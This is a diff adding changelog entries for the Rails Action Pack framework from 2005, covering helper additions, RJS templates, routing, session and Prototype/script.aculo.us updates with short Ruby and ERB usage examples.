+* Fixed that SSL would not correctly be detected when running lighttpd/fcgi behind lighttpd w/mod_proxy #3548 [stephen_purcell at yahoo.com]
+
+* Added the possibility to specify atomatic expiration for the memcachd session container #3571 [Stefan Kaes]
+
+* Change layout discovery to take into account the change in semantics with File.join and nil arguments. [Marcel Molina Jr.]
+
+* Raise a RedirectBackError if redirect_to :back is called when there's no HTTP_REFERER defined #3049 [kevin.clark at gmail.com]
+
+* Treat timestamps like datetimes for scaffolding purposes #3388 [Maik Schmidt]
+
+* Fix IE bug with link_to "something", :post => true #3443 [Justin Palmer]
+
+* Extract Test::Unit::TestCase test process behavior into an ActionController::TestProcess module. [Sam Stephenson]
+
+* Pass along blocks from render_to_string to render. [Sam Stephenson]
+
+* Add render :update for inline RJS. [Sam Stephenson]  Example:
+  class UserController < ApplicationController
+    def refresh
+      render :update do |page|
+        page.replace_html  'user_list', :partial => 'user', :collection => @users
+        page.visual_effect :highlight, 'user_list'
+      end
+    end
+  end
+
+* allow nil objects for error_messages_for [Michael Koziarski]
+
+* Refactor human_size to exclude decimal place if it is zero. [Marcel Molina Jr.]
+
+* Update to Prototype 1.5.0_pre0 [Sam Stephenson]
+
+* Automatically discover layouts when a controller is namespaced. #2199, #3424 [me at jonnii.com rails at jeffcole.net Marcel Molina Jr.]
+
+* Add support for multiple proxy servers to CgiRequest#host [gaetanot at comcast.net]
+
+* Documentation typo fix. #2367 [Blair Zajac]
+
+* Remove Upload Progress. #2871 [Sean Treadway]
+
+* Fix typo in function name mapping in auto_complete_field. #2929 #3446 [doppler at gmail.com phil.ross at gmail.com]
+
+*  Allow auto-discovery of third party template library layouts. [Marcel Molina Jr.]
+
+* Have the form builder output radio button, not check box, when calling the radio button helper. #3331 [LouisStAmour at gmail.com]
+
+* Added assignment of the Autocompleter object created by JavaScriptMacroHelper#auto_complete_field to a local javascript variables [DHH]
+
+* Added :on option for PrototypeHelper#observe_field that allows you to specify a different callback hook to have the observer trigger on [DHH]
+
+* Added JavaScriptHelper#button_to_function that works just like JavaScriptHelper#link_to_function but uses a button instead of a href [DHH]
+
+* Added that JavaScriptHelper#link_to_function will honor existing :onclick definitions when adding the function call [DHH]
+
+* Added :disable_with option to FormTagHelper#submit_tag to allow for easily disabled submit buttons with different text [DHH]
+
+* Make auto_link handle nil by returning quickly if blank? [Scott Barron]
+
+* Make auto_link match urls with a port number specified. [Marcel Molina Jr.]
+
+* Added support for toggling visual effects to ScriptaculousHelper::visual_effect, #3323. [Thomas Fuchs]
+
+* Update to script.aculo.us to 1.5.0 rev. 3343 [Thomas Fuchs]
+
+* Added :select option for JavaScriptMacroHelper#auto_complete_field that makes it easier to only use part of the auto-complete suggestion as the value for insertion [Thomas Fuchs]
+
+* Added delayed execution of Javascript from within RJS #3264 [devslashnull at gmail.com]. Example:
+
+    page.delay(20) do
+      page.visual_effect :fade, 'notice'
+    end
+
+* Add session ID to default logging, but remove the verbose description of every step [DHH]
+
+* Add the following RJS methods: [Sam Stephenson]
+  
+    * alert - Displays an alert() dialog
+    * redirect_to - Changes window.location.href to simulate a browser redirect
+    * call - Calls a JavaScript function
+    * assign - Assigns to a JavaScript variable
+    * << - Inserts an arbitrary JavaScript string
+
+* Fix incorrect documentation for form_for [Nicholas Seckar]
+
+* Don't include a layout when rendering an rjs template using render's :template option. [Marcel Molina Jr.]
+
+*1.1.2* (December 13th, 2005)
+
+* Become part of Rails 1.0
+
+* Update to script.aculo.us 1.5.0 final (equals 1.5.0_rc6) [Thomas Fuchs]
+
+* Update to Prototype 1.4.0 final [Sam Stephenson]
+
+* Added form_remote_for (form_for meets form_remote_tag) [DHH]
+
+* Update to script.aculo.us 1.5.0_rc6
+
+* More robust relative url root discovery for SCGI compatibility.  This solves the 'SCGI routes problem' -- you no longer need to prefix all your routes with the name of the SCGI mountpoint.  #3070 [Dave Ringoen]
+
+* Fix docs for text_area_tag. #3083. [Christopher Cotton]
+
+* Change form_for and fields_for method signatures to take object name and object as separate arguments rather than as a Hash. [DHH]
+
+* Introduce :selected option to the select helper.  Allows you to specify a selection other than the current value of object.method.  Specify :selected => nil to leave all options unselected.  #2991 [Jonathan Viney <jonathan at bluewire.net.nz>]
+
+* Initialize @optional in routing code to avoid warnings about uninitialized access to an instance variable. [Nicholas Seckar]
+
+* Make ActionController's render honor the :locals option when rendering a :file. #1665. [Emanuel Borsboom, Marcel Molina Jr.]
+
+* Allow assert_tag(:conditions) to match the empty string when a tag has no children. Closes #2959. [Jamis Buck]
+
+* Update html-scanner to handle CDATA sections better. Closes #2970. [Jamis Buck]
+
+* Don't put flash in session if sessions are disabled.  [Jeremy Kemper]
+
+* Strip out trailing &_= for raw post bodies. Closes #2868. [Sam Stephenson]
+
+* Pass multiple arguments to Element.show and Element.hide in JavaScriptGenerator instead of using iterators. [Sam Stephenson]
+
+* Improve expire_fragment documentation.  #2966 [court3nay at gmail.com]
+
+* Correct docs for automatic layout assignment. #2610. [Charles M. Gerungan]
+
+* Always create new AR sessions rather than trying too hard to avoid database traffic.  #2731 [Jeremy Kemper]
+
+* Update to Prototype 1.4.0_rc4. Closes #2943 (old Array.prototype.reverse behavior can be obtained by passing false as an argument). [Sam Stephenson]
+
+* Use Element.update('id', 'html') instead of $('id').innerHTML = 'html' in JavaScriptGenerator#replace_html so that script tags are evaluated. [Sam Stephenson]
+
+* Make rjs templates always implicitly skip out on layouts. [Marcel Molina Jr.]
+
+* Correct length for the truncate text helper.  #2913 [Stefan Kaes]
+
+* Update to Prototype 1.4.0_rc3. Closes #1893, #2505, #2550, #2748, #2783. [Sam Stephenson]
+
+* Add support for new rjs templates which wrap an update_page block. [Marcel Molina Jr.]
+
+* Rename Version constant to VERSION. #2802 [Marcel Molina Jr.]
+
+* Correct time_zone_options_for_select docs.  #2892 [pudeyo at rpi.com]
+
+* Remove the unused, slow response_dump and session_dump variables from error pages.  #1222 [lmarlow at yahoo.com]
+
+* Performance tweaks: use Set instead of Array to speed up prototype helper include? calls.  Avoid logging code if logger is nil.  Inline commonly-called template presence checks.  #2880, #2881, #2882, #2883 [Stefan Kaes]
+
+* MemCache store may be given multiple addresses.  #2869 [Ryan Carver <ryan at fivesevensix.com>]
+
+* Handle cookie parsing irregularity for certain Nokia phones.  #2530 [zaitzow at gmail.com]
+
+* Added PrototypeHelper::JavaScriptGenerator and PrototypeHelper#update_page for easily modifying multiple elements in an Ajax response. [Sam Stephenson]  Example:
+
+    update_page do |page|
+      page.insert_html :bottom, 'list', '<li>Last item</li>'
+      page.visual_effect :highlight, 'list'
+      page.hide 'status-indicator', 'cancel-link'
+    end
+  
+  generates the following JavaScript:
+  
+    new Insertion.Bottom("list", "<li>Last item</li>");
+    new Effect.Highlight("list");
+    ["status-indicator", "cancel-link"].each(Element.hide);
+  
+* Refactored JavaScriptHelper into PrototypeHelper and ScriptaculousHelper [Sam Stephenson]
+
+* Update to latest script.aculo.us version (as of [3031])
+
+* Updated docs for in_place_editor, fixes a couple bugs and offers extended support for external controls [Justin Palmer]
+
+* Update documentation for render :file.  #2858 [Tom Werner]
+
+* Only include builtin filters whose filenames match /^[a-z][a-z_]*_helper.rb$/ to avoid including operating system metadata such as ._foo_helper.rb.  #2855 [court3nay at gmail.com]
+
+* Added FormHelper#form_for and FormHelper#fields_for that makes it easier to work with forms for single objects also if they don't reside in instance variables [DHH]. Examples:
+
+  <% form_for :person, @person, :url => { :action => "update" } do |f| %>
+    First name: <%= f.text_field :first_name %>
+    Last name : <%= f.text_field :last_name %>
+    Biography : <%= f.text_area :biography %>
+    Admin?    : <%= f.check_box :admin %>
+  <% end %>
+
+  <% form_for :person, person, :url => { :action => "update" } do |person_form| %>
+    First name: <%= person_form.text_field :first_name %>
+    Last name : <%= person_form.text_field :last_name %>
+    
+    <% fields_for :permission => person.permission do |permission_fields| %>
+      Admin?  : <%= permission_fields.check_box :admin %>
+    <% end %>
+  <% end %>
+  
+* options_for_select allows any objects which respond_to? :first and :last rather than restricting to Array and Range.  #2824 [Jacob Robbins <jrobbins at cmj.com>, Jeremy Kemper]
+
+* The auto_link text helper accepts an optional block to format the link text for each url and email address.  Example: auto_link(post.body) { |text| truncate(text, 10) }  [Jeremy Kemper]
+
+* assert_tag uses exact matches for string conditions, instead of partial matches. Use regex to do partial matches. #2799 [Jamis Buck]
+
+* CGI::Session::ActiveRecordStore.data_column_name = 'foobar' to use a different session data column than the 'data' default.  [nbpwie102 at sneakemail.com]
+
+* Do not raise an exception when default helper is missing; log a debug message instead.  It's nice to delete empty helpers.  [Jeremy Kemper]
+
+* Controllers with acronyms in their names (e.g. PDFController) require the correct default helper (PDFHelper in file pdf_helper.rb).  #2262 [jeff at opendbms.com]
+
+
+*1.11.0* (November 7th, 2005)
+
+* Added request as instance method to views, so you can do <%= request.env["HTTP_REFERER"] %>, just like you can already access response, session, and the likes [DHH]
+
+* Fix conflict with assert_tag and Glue gem #2255 [david.felstead at gmail.com]
+
+* Add documentation to assert_tag indicating that it only works with well-formed XHTML #1937, #2570 [Jamis Buck]
+
+* Added action_pack.rb stub so that ActionPack::Version loads properly [Sam Stephenson]
+
+* Added short-hand to assert_tag so assert_tag :tag => "span" can be written as assert_tag "span" [DHH]
+
+* Added skip_before_filter/skip_after_filter for easier control of the filter chain in inheritance hierachies [DHH]. Example:
+
+    class ApplicationController < ActionController::Base
+      before_filter :authenticate
+    end
+    
+    class WeblogController < ApplicationController
+      # will run the :authenticate filter
+    end
+    
+    class SignupController < ActionController::Base
+      # will not run the :authenticate filter
+      skip_before_filter :authenticate
+    end
+
+* Added redirect_to :back as a short-hand for redirect_to(request.env["HTTP_REFERER"]) [DHH]
+
+* Change javascript_include_tag :defaults to not use script.aculo.us loader, which facilitates the use of plugins for future script.aculo.us and third party javascript extensions, and provide register_javascript_include_default for plugins to specify additional JavaScript files to load. Removed slider.js and builder.js from actionpack. [Thomas Fuchs]
+
+* Fix problem where redirecting components can cause an infinite loop [Rick Olson]
+
+* Added support for the queue option on visual_effect [Thomas Fuchs]
+
+* Update script.aculo.us to V1.5_rc4 [Thomas Fuchs]
+
+* Fix that render :text didn't interpolate instance variables #2629, #2626 [skaes]
+
+* Fix line number detection and escape RAILS_ROOT in backtrace Regexp [Nicholas Seckar]
+
+* Fixed document.getElementsByClassName from Prototype to be speedy again [Sam Stephenson]
+
+* Recognize ./#{RAILS_ROOT} as RAILS_ROOT in error traces [Nicholas Seckar]
+
+* Remove ARStore session fingerprinting [Nicholas Seckar]
+
+* Fix obscure bug in ARStore [Nicholas Seckar]
+
+* Added TextHelper#strip_tags for removing HTML tags from a string (using HTMLTokenizer) #2229 [marcin at junkheap.net]
+
+* Added a reader for flash.now, so it's possible to do stuff like flash.now[:alert] ||= 'New if not set' #2422 [Caio Chassot]
+
+
+*1.10.2* (October 26th, 2005)
+
+* Reset template variables after using render_to_string [skaes at web.de]
+
+* Expose the session model backing CGI::Session
+
+* Abbreviate RAILS_ROOT in traces
+
+
+*1.10.1* (October 19th, 2005)
+
+* Update error trace templates [Nicholas Seckar]
+
+* Stop showing generated routing code in application traces [Nicholas Seckar]
+
+
+*1.10.0* (October 16th, 2005)
+
+* Make string-keys locals assigns optional. Add documentation describing depreciated state [skaes at web.de]
+
+* Improve line number detection for template errors [Nicholas Seckar]
+
+* Update/clean up documentation (rdoc)
+
+* Upgrade to Prototype 1.4.0_rc0 [Sam Stephenson]
+
+* Added assert_vaild. Reports the proper AR error messages as fail message when the passed record is invalid [Tobias Luetke]
+
+* Add temporary support for passing locals to render using string keys [Nicholas Seckar]
+
+* Clean up error pages by providing better backtraces [Nicholas Seckar]
+
+* Raise an exception if an attempt is made to insert more session data into the ActiveRecordStore data column than the column can hold. #2234.  [justin at textdrive.com]
+
+* Removed references to assertions.rb from actionpack assert's backtraces. Makes error reports in functional unit tests much less noisy. [Tobias Luetke]
+
+* Updated and clarified documentation for JavaScriptHelper to be more concise about the various options for including the JavaScript libs. [Thomas Fuchs]
+
+* Hide "Retry with Breakpoint" button on error pages until feature is functional. [DHH]
+
+* Fix Request#host_with_port to use the standard port when Rails is behind a proxy. [Nicholas Seckar]
+
+* Escape query strings in the href attribute of URLs created by url_helper.  #2333 [Michael Schuerig <michael at schuerig.de>]
+
+* Improved line number reporting for template errors [Nicholas Seckar]
+
+* Added :locals support for render :inline #2463 [mdabney at cavoksolutions.com]
+
+* Unset the X-Requested-With header when using the xhr wrapper in functional tests so that future requests aren't accidentally xhr'ed #2352 [me at julik.nl, Sam Stephenson]
+
+* Unescape paths before writing cache to file system. #1877. [Damien Pollet]
+
+* Wrap javascript_tag contents in a CDATA section and add a cdata_section method to TagHelper #1691 [Michael Schuerig, Sam Stephenson]
+
+* Misc doc fixes (typos/grammar/etc). #2445. [coffee2code]
+
+* Speed improvement for session_options. #2287. [skaes at web.de]
+
+* Make cacheing binary files friendly with Windows. #1975. [Rich Olson]
+
+* Convert boolean form options form the tag_helper. #809. [Michael Schuerig <michael at schuerig.de>]
+
+* Fixed that an instance variable with the same name as a partial should be implicitly passed as the partial :object #2269 [court3nay]
+
+* Update Prototype to V1.4.0_pre11, script.aculo.us to [2502] [Thomas Fuchs]
+
+* Make assert_tag :children count appropriately. Closes #2181. [jamie at bravenet.com]
+
+* Forced newer versions of RedCloth to use hard breaks [DHH]
+
+* Added new scriptaculous options for auto_complete_field #2343 [m.stienstra at fngtps.com]
+
+* Don't prepend the asset host if the string is already a fully-qualified URL
+
+* Updated to script.aculo.us V1.5.0_rc2 and Prototype to V1.4.0_pre7 [Thomas Fuchs]
+
+* Undo condition change made in [2345] to prevent normal parameters arriving as StringIO.
+
+* Tolerate consecutive delimiters in query parameters.  #2295 [darashi at gmail.com]
+
+* Streamline render process, code cleaning. Closes #2294. [skae]
+
+* Keep flash after components are rendered. #2291 [Rick Olson, Scott]
+
+* Shorten IE file upload path to filename only to match other browsers.  #1507 [court3nay at gmail.com]
+
+* Fix open/save dialog in IE not opening files send with send_file/send_data, #2279 [Thomas Fuchs]
+
+* Fixed that auto_discovery_link_tag couldn't take a string as the URL [DHH]
+
+* Fixed problem with send_file and WEBrick using stdout #1812 [DHH]
+
+* Optimized tag_options to not sort keys, which is no longer necessary when assert_dom_equal and friend is available #1995 [skae]
+
+* Added assert_dom_equal and assert_dom_not_equal to compare tags generated by the helpers in an order-indifferent manner #1995 [skae]
+
+* Fixed that Request#domain caused an exception if the domain header wasn't set in the original http request #1795 [Michael Koziarski]
+
+* Make the truncate() helper multi-byte safe (assuming $KCODE has been set to something other than "NONE") #2103
+
+* Add routing tests from #1945 [ben at groovie.org]
+
+* Add a routing test case covering #2101 [Nicholas Seckar]
+
+* Cache relative_url_root for all webservers, not just Apache #2193 [skae]
+
+* Speed up cookie use by decreasing string copying #2194 [skae]
+
+* Fixed access to "Host" header with requests made by crappy old HTTP/1.0 clients #2124 [Marcel Molina]
+
+* Added easy assignment of fragment cache store through use of symbols for included stores (old way still works too)
+
+  Before:
+    ActionController::Base.fragment_cache_store = 
+      ActionController::Base::Caching::Fragments::FileStore.new("/path/to/cache/directory")
+
+  After:
+    ActionController::Base.fragment_cache_store = :file_store, "/path/to/cache/directory"
+
+* Added ActionController::Base.session_store=, session_store, and session_options to make it easier to tweak the session options (instead of going straight to ActionController::CgiRequest::DEFAULT_SESSION_OPTIONS)
+
+* Added TextHelper#cycle to cycle over an array of values on each hit (useful for alternating row colors etc) #2154 [dave-ml at dribin.org]
+
+* Ensure that request.path never returns nil. Closes #1675 [Nicholas Seckar]
+
+* Add ability to specify Route Regexps for controllers. Closes #1917. [Sebastian Kanthak]
+
+* Provide Named Route's hash methods as helper methods. Closes #1744. [Nicholas Seckar, Steve Purcell]
+
+* Added :multipart option to ActiveRecordHelper#form to make it possible to add file input fields #2034 [jstirk at oobleyboo.com]
+
+* Moved auto-completion and in-place editing into the Macros module and their helper counterparts into JavaScriptMacrosHelper
+
+* Added in-place editing support in the spirit of auto complete with ActionController::Base.in_place_edit_for, JavascriptHelper#in_place_editor_field, and Javascript support from script.aculo.us #2038 [Jon Tirsen]
+
+* Added :disabled option to all data selects that'll make the elements inaccessible for change #2167, #253 [eigentone]
+
+* Fixed that TextHelper#auto_link_urls would include punctuation in the links #2166, #1671 [eigentone]
+
+* Fixed that number_to_currency(1000, {:precision => 0})) should return "$1,000", instead of "$1,000." #2122 [sd at notso.net]
+
+* Allow link_to_remote to use any DOM-element as the parent of the form elements to be submitted #2137 [erik at ruby-lang.nl]. Example:
+
+    <tr id="row023">
+      <td><input name="foo"/></td>
+      <td><input name="bar"/></td>
+      <td><%= link_to_remote 'Save', :update => "row023",
+            :submit => "row023", :url => {:action => 'save_row'} %></td>
+    </tr>
+
+* Fixed that render :partial would fail when :object was a Hash (due to backwards compatibility issues) #2148 [Sam Stephenson]
+
+* Fixed JavascriptHelper#auto_complete_for to only include unique items #2153 [Thomas Fuchs]
+
+* Fixed all AssetHelper methods to work with relative paths, such that javascript_include_tag('stdlib/standard') will look in /javascripts/stdlib/standard instead of '/stdlib/standard/' #1963
+
+* Avoid extending view instance with helper modules each request. Closes #1979
+
+* Performance improvements to CGI methods. Closes #1980 [Skaes]
+
+* Added :post option to UrlHelper#link_to that makes it possible to do POST requests through normal ahref links using Javascript
+
+* Fixed overwrite_params
+
+* Added ActionController::Base.benchmark and ActionController::Base.silence to allow for easy benchmarking and turning off the log
+
+* Updated vendor copy of html-scanner to support better xml parsing
+
+* Added :popup option to UrlHelper#link_to #1996 [gabriel.gironda at gmail.com]. Examples:
+
+    link_to "Help", { :action => "help" }, :popup => true
+    link_to "Busy loop", { :action => "busy" }, :popup => ['new_window', 'height=300,width=600']
+
+* Drop trailing \000 if present on RAW_POST_DATA (works around bug in Safari Ajax implementation) #918
+
+* Fix observe_field to fall back to event-based observation if frequency <= 0 #1916 [michael at schubert.cx]
+
+* Allow use of the :with option for submit_to_remote #1936 [jon at instance-design.co.uk]
+
+* AbstractRequest#domain returns nil when host is an ip address #2012 [kevin.clark at gmail.com]
+
+* ActionController documentation update #2051 [fbeausoleil at ftml.net]
+
+* Yield @content_for_ variables to templates #2058 [Sam Stephenson]
+
+* Make rendering an empty partial collection behave like :nothing => true #2080 [Sam Stephenson]
+
+* Add option to specify the singular name used by pagination.
+
+* Use string key to obtain action value. Allows indifferent hashes to be disabled.
+
+* Added ActionView::Base.cache_template_loading back.
+
+* Rewrote compiled templates to decrease code complexity. Removed template load caching in favour of compiled caching. Fixed template error messages. [Nicholas Seckar]
+
+* Fix Routing to handle :some_param => nil better. [Nicholas Seckar, Luminas]
+
+* Add support for :include with pagination (subject to existing constraints for :include with :limit and :offset) #1478 [michael at schubert.cx]
+
+* Prevent the benchmark module from blowing up if a non-HTTP/1.1 request is processed
+
+* Added :use_short_month option to select_month helper to show month names as abbreviations
+
+* Make link_to escape the javascript in the confirm option #1964 [nicolas.pouillard at gmail.com]
+
+* Make assert_redirected_to properly check URL's passed as strings #1910 [Scott Barron]
+
+* Make sure :layout => false is always used when rendering inside a layout
+
+* Use raise instead of assert_not_nil in Test::Unit::TestCase#process to ensure that the test variables (controller, request, response) have been set
+
+* Make sure assigns are built for every request when testing #1866
+
+* Allow remote_addr to be queried on TestRequest #1668
+
+* Fixed bug when a partial render was passing a local with the same name as the partial
+
+* Improved performance of test app req/sec with ~10% refactoring the render method #1823 [Stefan Kaes]
+
+* Improved performance of test app req/sec with 5-30% through a series of Action Pack optimizations #1811 [Stefan Kaes]
+
+* Changed caching/expiration/hit to report using the DEBUG log level and errors to use the ERROR log level instead of both using INFO
+
+* Added support for per-action session management #1763
+
+* Improved rendering speed on complicated templates by up to 100% (the more complex the templates, the higher the speedup) #1234 [Stephan Kaes]. This did necessasitate a change to the internals of ActionView#render_template that now has four parameters. Developers of custom view handlers (like Amrita) need to update for that.
+
+* Added options hash as third argument to FormHelper#input, so you can do input('person', 'zip', :size=>10) #1719 [jeremye at bsa.ca.gov]
+
+* Added Base#expires_in(seconds)/Base#expires_now to control HTTP content cache headers #1755 [Thomas Fuchs]
+
+* Fixed line number reporting for Builder template errors #1753 [piotr]
+
+* Fixed assert_routing so that testing controllers in modules works as expected [Nicholas Seckar, Rick Olson]
+
+* Fixed bug with :success/:failure callbacks for the JavaScriptHelper methods #1730 [court3nay/Thomas Fuchs]
+
+* Added named_route method to RouteSet instances so that RouteSet instance methods do not prevent certain names from being used. [Nicholas Seckar]
+
+* Fixed routes so that routes which do not specify :action in the path or in the requirements have a default of :action => 'index', In addition, fixed url generation so that :action => 'index' does not need to be provided for such urls. [Nicholas Seckar, Markjuh]
+
+* Worked around a Safari bug where it wouldn't pass headers through if the response was zero length by having render :nothing return ' ' instead of ''
+
+* Fixed Request#subdomains to handle "foo.foo.com" correctly
+
+
+*1.9.1* (11 July, 2005)
+
+* Fixed that auto_complete_for didn't force the input string to lower case even as the db comparison was
+
+* Fixed that Action View should always use the included Builder, never attempt to require the gem, to ensure compatibility
+
+* Added that nil options are not included in tags, so tag("p", :ignore => nil) now returns <p /> not <p ignore="" />  but that tag("p", :ignore => "") still includes it #1465 [michael at schuerig.de]
+
+* Fixed that UrlHelper#link_to_unless/link_to_if used html_escape on the name if no link was to be applied. This is unnecessary and breaks its use with images #1649 [joergd at pobox.com]
+
+* Improved error message for DoubleRenderError
+
+* Fixed routing to allow for testing of *path components #1650 [Nicholas Seckar]
+
+* Added :handle as an option to sortable_element to restrict the drag handle to a given class #1642 [thejohnny]
+
+* Added a bunch of script.aculo.us features #1644, #1677, #1695 [Thomas Fuchs]
+  * Effect.ScrollTo, to smoothly scroll the page to an element
+  * Better Firefox flickering handling on SlideUp/SlideDown
+  * Removed a possible memory leak in IE with draggables
+  * Added support for cancelling dragging my hitting ESC
+  * Added capability to remove draggables/droppables and redeclare sortables in dragdrop.js (this makes it possible to call sortable_element on the same element more than once, e.g. in AJAX returns that modify the sortable element. all current sortable 'stuff' on the element will be discarded and the sortable will be rebuilt)
+  * Always reset background color on Effect.Highlight; this make change backwards-compatibility, to be sure include style="background-color:(target-color)" on your elements or else elements will fall back to their CSS rules (which is a good thing in most circumstances)
+  * Removed circular references from element to prevent memory leaks (still not completely gone in IE)
+  * Changes to class extension in effects.js
+  * Make Effect.Highlight restore any previously set background color when finishing (makes effect work with CSS classes that set a background color)
+  * Fixed myriads of memory leaks in IE and Gecko-based browsers [David Zülke]
+  * Added incremental and local autocompleting and loads of documentation to controls.js [Ivan Krstic]
+  * Extended the auto_complete_field helper to accept tokens option
+  * Changed object extension mechanism to favor Object.extend to make script.aculo.us easily adaptable to support 3rd party libs like IE7.js [David Zülke]
+  
+* Fixed that named routes didn't use the default values for action and possible other parameters #1534 [Nicholas Seckar]
+
+* Fixed JavascriptHelper#visual_effect to use camelize such that :blind_up will work #1639 [pelletierm at eastmedia.net]
+
+* Fixed that a SessionRestoreError was thrown if a model object was placed in the session that wasn't available to all controllers. This means that it's no longer necessary to use the 'model :post' work-around in ApplicationController to have a Post model in your session.
+
+
+*1.9.0* (6 July, 2005)
+
+* Added logging of the request URI in the benchmark statement (makes it easy to grep for slow actions)
+
+* Added javascript_include_tag :defaults shortcut that'll include all the default javascripts included with Action Pack (prototype, effects, controls, dragdrop)
+
+* Cache several controller variables that are expensive to calculate #1229 [skaes at web.de]
+
+* The session class backing CGI::Session::ActiveRecordStore may be replaced with any class that duck-types with a subset of Active Record.  See docs for details #1238 [skaes at web.de]
+
+* Fixed that hashes was not working properly when passed by GET to lighttpd #849 [Nicholas Seckar]
+
+* Fixed assert_template nil will be true when no template was rendered #1565 [maceywj at telus.net]
+
+* Added :prompt option to FormOptions#select (and the users of it, like FormOptions#select_country etc) to create "Please select" style descriptors #1181 [Michael Schuerig]
+
+* Added JavascriptHelper#update_element_function, which returns a Javascript function (or expression) that'll update a DOM element according to the options passed #933 [mortonda at dgrmm.net]. Examples:
+
+    <%= update_element_function("products", :action => :insert, :position => :bottom, :content => "<p>New product!</p>") %>
+
+    <% update_element_function("products", :action => :replace, :binding => binding) do %>
+      <p>Product 1</p>
+      <p>Product 2</p>
+    <% end %>
+
+* Added :field_name option to DateHelper#select_(year|month|day) to deviate from the year/month/day defaults #1266 [Marcel Molina]
+
+* Added JavascriptHelper#draggable_element and JavascriptHelper#drop_receiving_element to facilitate easy dragging and dropping through the script.aculo.us libraries #1578 [Thomas Fuchs]
+
+* Added that UrlHelper#mail_to will now also encode the default link title #749 [f.svehla at gmail.com]
+
+* Removed the default option of wrap=virtual on FormHelper#text_area to ensure XHTML compatibility #1300 [thomas at columbus.rr.com]
+
+* Adds the ability to include XML CDATA tags using Builder #1563 [Josh Knowles]. Example:
+
+    xml.cdata! "some text" # => <![CDATA[some text]]>
+
+* Added evaluation of <SCRIPT> blocks in content returned to Ajax calls #1577 [Thomas Fuchs/court3nay/Sean Treadway]
+
+* Directly generate paths with a leading slash instead of tacking it on later.  #1543 [Nicholas Seckar]
+
+* Fixed errant parameter modification in functional tests.  #1542 [Nicholas Seckar]
+
+* Routes fail with leading slash #1540 [Nicholas Seckar]
+
+* Added support for graceful error handling of Ajax calls #1217 [Jamis Buck/Thomas Fuchs]. Example:
+
+    link_to_remote(
+      "test", 
+      :url => { :action => "faulty" }, 
+      :update => { :success => "good", :failure => "bad" },
+      403 => "alert('Forbidden- got ya!')",
+      404 => "alert('Nothing there...?')", 
+      :failure => "alert('Unkown error ' + request.status)")
+  
+* Attempt to explicitly flush the output at the end of CgiProcess#out
+
+* Fixed assert_redirected_to to handle absolute controller paths properly #1472 [Rick Olson/Nicholas Seckar]
+
+* Added event-based observations when frequency is not set on observe_field/form #1474 [flash at vanklinkenbergsoftware.nl]
+
+* Added script.aculo.us Javascripts (controls.js, dragdrop.js, effects.js) (NEEDS MORE DESCRIPTION) #1509 [Thomas Fuchs]
+
+* Fixed prototype to consider all fields it doesn't know as text (such as Safari's search) just like the browser in its serialization #1497 [Sean Treadway]
+
+* Improved performance of Routes generation by a factor of 5 #1434 [Nicholas Seckar] 
+
+* Added named routes (NEEDS BETTER DESCRIPTION) #1434 [Nicholas Seckar]
+
+* Improved AbstractRequest documentation #1483 [court3nay at gmail.com]
+
+* Added ActionController::Base.allow_concurrency to control whether the application is thread-safe, so multi-threaded servers like WEBrick knows whether to apply a mutex around the performance of each action. Turned off by default. EXPERIMENTAL FEATURE.
+
+* Added TextHelper#word_wrap(text, line_length = 80) #1449 [tuxie at dekadance.se]
+
+* Added a fall-through action for form_remote_tag that'll be used in case Javascript is unavailable #1459 [Scott Barron]. Example:
+
+    form_remote_tag :html => { :action => url_for(:controller => "some", :action => "place") }
+
+* Added :xhr => true/false option to verify so you can ensure that a request is coming from an Ajax call or not #1464 [Thomas Fuchs]
+
+* Added tag_options as a third parameter to AssetHelper#auto_discovery_link_tag to control options like the title of the link #1430 [kevin.clark at gmail.com]
+
+* Added option to pass in parameters to CaptureHelper#capture, so you can create more advanced view helper methods #1466 [duane.johnson at gmail.com]. Example:
+
+    <% show_calendar(:year => 2005, :month => 6) do |day, options| %>
+      <% options[:bgcolor] = '#dfd' if 10..15.include? day %>
+      [<%= day %>]
+    <% end %>
+
+* Changed the default name of the input tag generated by FormTagHelper#submit_tag from "submit" to "commit" so it doesn't clash with form.submit() calls in Javascript #1271
+
+* Fixed relative urls support for lighttpd #1048 [Nicholas Seckar/maznawak at nerim.net]
+
+* Correct distance_of_time_in_words for integer arguments and make the second arg optional, treating the first arg as a duration in seconds.  #1458 [madrobby <thomas at fesch.at>]
+
+* Fixed query parser to deal gracefully with equal signs inside keys and values #1345 [gorou]. 
+  Example: /?sig=abcdef=:foobar=&x=y will pass now. 
+
+* Added Cuba to country list #1351 [todd]
+
+* Fixed radio_button to work with numeric values #1352 [demetrius]
+
+* Added :extension option to NumberHelper#number_to_phone #1361 [delynnb]
+
+* Added button_to as a form-based solution to deal with harmful actions that should be hidden behind POSTs. This makes it just as easy as link_to to create a safe trigger for actions like destroy, although it's limited by being a block element, the fixed look, and a no-no inside other forms. #1371 [tom at moertel.com]
+
+* Fixed image_tag so an exception is not thrown just because the image is missing and alt value can't be generated #1395 [Marcel]
+
+* Added a third parameter to TextHelper#auto_link called href_options for specifying additional tag options on the links generated #1401 [tyler.kovacs at gmail.com]. Example: auto_link(text, :all, { :target => "_blank" }) to have all the generated links open in a new window.
+
+* Fixed TextHelper#highlight to return the text, not nil, if the phrase is blank #1409 [patrick at lenz.sh]
+
+* Fixed TagHelper such that :name and 'name' keys in the options doesn't result in two attributes #1455 [take_tk]
+
+* Ensure that helpers are only available to the controllers where they are defined and their subclasses.  #1394 [kdole at tamu.edu]
+
+* render("foo/bar") works with a layout again 
+
+* Fixed double-singularization on scaffolded pagination call (Address would be turned into Addres) #1216, #1404 [nilsga]
+
+* Removed the require hack used by functional testing to work around an earlier bug in rake.
+
+* Allow distance_of_time_in_words to work with any value that responds to #to_time (like dates) #969
+
+* Support :render option for :verify #1440 [TobiasLuetke]
+
+* Updated vendor copy of html-scanner lib to 0.5.2, for bug fixes and optimizations. The :content option may be used as expected--to find a tag whose textual content is a particular value--in assert_tag, now.
+
+* Changed test requests to come from 0.0.0.0 instead of 127.0.0.1 such that they don't trigger debugging screens on exceptions, but instead call rescue_action_in_public
+
+* Modernize scaffolding to match the generator: use the new render method and change style from the warty @params["id"] to the sleek params[:id].  #1367
+
+* Include :id in the action generated by the form helper method.  Then, for example, the controller can do Model.find(params[:id]) for both edit and update actions.  Updated scaffolding to take advantage.  #1367
+
+* Add assertions with friendly messages to TestCase#process to ensure that @controller, @request, and @response are set.  #1367
+
+* Arrays, hashes sent via multipart posts are converted to strings #1032 [dj at omelia.org, me at julik.nl]
+
+* render(:layout => true) is a synonym for render(:layout => nil)
+
+* Make sure the benchmarking render method always returns the output of the render.
+
